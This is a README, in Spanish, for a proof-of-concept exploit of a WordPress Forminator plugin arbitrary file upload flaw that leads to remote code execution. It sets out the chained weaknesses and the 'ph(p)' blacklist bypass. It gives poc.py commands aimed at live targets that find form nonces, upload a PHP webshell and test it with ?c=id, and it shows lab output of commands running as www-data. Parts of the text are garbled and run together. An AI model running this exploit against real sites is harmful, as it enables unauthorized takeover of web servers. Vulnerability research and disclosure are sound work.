
Forminator Forms <= 1.56.1 - Subida de archivos arbitraria no autenticada mediante configuración falsificada del campo de subida
CVSS 9.8 (Crítico) · Afectado: Forminator <= 1.56.1 · Parcheado: 1.56.2
Investigador: daroo (Wordfence Bug Bounty, $2,048) · ~600k instalaciones activas
Informe: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Tres debilidades encadenadas mediante un valor falsificado del campo Select:
Sin saneamiento en los arrays de campos anidados — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() itera sobre cada campo almacenado. Para el campo Select almacenado select-1,
$field_data = prepared_data['select-1'] (array anidado controlado por el atacante). Cuando contiene
, el array se añade a en su totalidad (front-action.php ~línea 1088),
antes de cualquier saneamiento/validación por campo. no los elimina.
returnfield_data_arraymaybe_handle_custom_option()Configuración de campo no confiable tratada como confiable en la subida — Forminator_CForm_Front_Action::process_uploads()
itera field_data_array, confía en field_type == 'upload' falsificado, usa el name falsificado para seleccionar una
entrada $_FILES y pasa el field_array falsificado como configuración confiable a
Forminator_Upload::handle_file_upload().
Bypass de la lista negra por clave exacta — forminator_allowed_mime_types() elimina la clave literal php, pero
wp_check_filetype() trata las claves como regex. La clave ph(p) sobrevive a la lista negra y aun así coincide con el
sufijo .php. additional-type = ph(p)|text/x-php permite que un archivo .php pase la validación.
Un formulario publicado debe contener tanto un campo de subida de archivos (File Upload) como un campo Select. Select es solo el portador.
.php arbitrario al disco se realiza correctamente por defecto (no se necesita configuración especial para la escritura)..htaccess de Apache. Tanto la raíz predeterminada de Forminator como una raíz
personalizada reciben un .htaccess que bloquea PHP (SetHandler none / RemoveHandler). El RCE solo se activa cuando
ese .htaccess no está presente — el escenario del informe: «raíz de almacenamiento personalizada creada durante una petición de frontend
en la que insert_with_markers() no está cargado»..htaccess.wp-content/uploads/forminator/ → archivo en
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (p. ej. cveuploads), los archivos se guardan en
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> es wp_hash($form_id) — derivado de las sales AUTH del sitio, por lo que no es predecible
externamente. poc.py imprime el patrón de ruta; para completarlo debes recuperar el hash (listado de directorio,
la URL/log de un archivo subido existente, una entrada en el panel de administración, etc.) mediante --form-hash.wp_generate_password(12,false,false) . '-' . <original> → p. ej.
cX3fRjMDDu03-shell.php (12 caracteres alfanuméricos aleatorios + - + nombre original).poc.pyOrientado a objetivos en vivo por diseño; los asistentes de laboratorio local (escaneo del FS de archivos, eliminación de .htaccess) están restringidos únicamente a
http://wordpresslab.test / http://localhost.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| Opción | Significado |
|---|---|
--target | URL base (o URL completa de la página cuando no hay --page-id/modo manual) |
--page-id | ID de la entrada; si está vacío, se obtiene la propia URL objetivo para el nonce/form_id |
--form-id, --nonce | omiten el descubrimiento; aun así obtienen la página para la recolección con --auto |
--upload-field | nombre real del campo de subida (por defecto upload-1) |
--forge-name | portador $_FILES falsificado (por defecto = nombre real, modo de colisión; usa un nombre distinto para un success=True limpio) |
--select | campo select a usar (por defecto select-1) |
--extra name=value | fuerza un valor de campo (repetible; --extra 'checkbox-1[]=a+b' para varios) |
--auto / --no-auto | recolecta los campos reales del formulario desde el HTML y autocompleta valores plausibles según el tipo (activado por defecto) |
--upload-root | raíz de subida relativa (por defecto wp-content/uploads/forminator; p. ej. wp-content/uploads/cveuploads para raíz personalizada) |
--form-hash | la parte <hash> del directorio de subida → completa/imprime una URL concreta |
--verify-url | en vivo: probar una URL de shell candidata con ?c=id/?c=whoami |
--find-shell | solo local (wordpresslab.test/localhost): encuentra el *-shell.php más reciente, elimina .htaccess, ejecuta |
--no-htaccess | imprime la nota de eliminación de .htaccess del laboratorio local |
--auto (recolectados del HTML del formulario)| Tipo de campo | Valor generado |
|---|---|
email / el nombre contiene email | auto<rand>@mailinator.com |
tel / el nombre contiene phone | 10 dígitos aleatorios |
url / el nombre contiene url | https://example.com/<rand> |
number | aleatorio entre 1 y 9999 |
date | 2026-08-19 |
grupo checkbox/radio name[] | valor de la primera opción (se examinan todas las entradas con el mismo nombre) |
| checkbox/radio individual | atributo value, respaldo checked |
<select> (no portador) | primera opción no vacía |
<textarea> | texto aleatorio |
| texto plano | 10 caracteres aleatorios |
Se omiten: campos internos (action/form_id/nonce/...), type="file" (upload-*), select-*
(portador del exploit), calculation-* (calculados) y campos de plugins externos (wpforms[...]).
Configuración:
build_form.php,
API Forminator_Form_Model).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads)
para poder demostrar el RCE. cveuploads/ es un artefacto de laboratorio, no un valor predeterminado de Forminator.success=True limpio, el name falsificado debe diferir del element_id
del campo de subida real. Un nombre en colisión igualmente sube el archivo, pero el campo real también ejecuta su propia
comprobación de MIME predeterminada → la respuesta reporta un error mientras la shell ya está en el disco.Evidencia en bruto (ejecución de laboratorio):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — PoC orientado a objetivos en vivo (auto-descubrimiento, autocompletado, verify-url, asistente de RCE local)build_form.php — constructor programático de formularios de laboratorio (subida + select) mediante la API del modeloREADME.md — este documento.htaccess/index de Forminator.